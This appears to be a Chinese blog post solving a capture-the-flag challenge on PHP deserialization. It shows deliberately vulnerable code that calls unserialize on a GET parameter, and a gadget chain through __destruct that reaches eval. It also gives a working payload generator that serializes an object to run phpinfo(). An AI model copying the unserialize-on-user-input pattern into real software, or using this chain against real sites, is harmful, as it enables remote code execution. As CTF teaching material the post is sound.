当前位置:网站首页>PHP序列化:eval
PHP序列化:eval
2022-07-31 12:40:00 【小龙在山东】
题目
<?php
highlight_file(__FILE__);
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
解题思路:通过传入d参数,参数是序列化后的字符串,用来调用魔术方法__destruct,然后调用evil的action,进而可以执行eval。
wp
生成序列化字符串:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$test = new lemon();
echo urlencode(serialize($test));

边栏推荐
猜你喜欢

Exploring Plain Vision Transformer Backbones for Object Detection 论文阅读笔记

Architecture Camp | Module 8

SAP ABAP OData 服务如何支持 $filter (过滤)操作试读版

A Week of Wonderful Content Sharing (Issue 14)

函数的参数

How does the SAP ABAP OData service support the $filter (filter) operation trial version

JVM 运行时数据区与JMM 内存模型详解

想吃菌子,当然是自己上山找了

docker部署完mysql无法连接

深度学习基本概念
随机推荐
Anaconda安装labelImg图像标注软件
PyQt5 rapid development and actual combat 10.1 Get city weather forecast
Centos7 install mysql5.7 steps (graphical version)
alert(1) (haozi.me)靶场练习
PyQt5快速开发与实战10.2 复利计算 && 10.3 刷新博客点击量
Full GC (Ergonomics)排查分析
JVM 运行时数据区与JMM 内存模型详解
Caused by: 类找不到: org.apache.flink.table.planner.delegation.ParserFactory或者ExecutorFactory
全动力学约束的机器人高效时间最优轨迹规划
Acwing第 62 场周赛【未完结】
串的基本概念与操作
Basic use of dosbox [easy to understand]
字符函数和字符串函数
通过斐波那契数再谈函数递归2.0
[Shader] Shader official example [easy to understand]
ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)
带有对称约束切换线性系统的结构可控性
SAP message TK 248 solved
jmeter性能测试步骤入门(性能测试工具jmeter)
Exploring Plain Vision Transformer Backbones for Object Detection 论文阅读笔记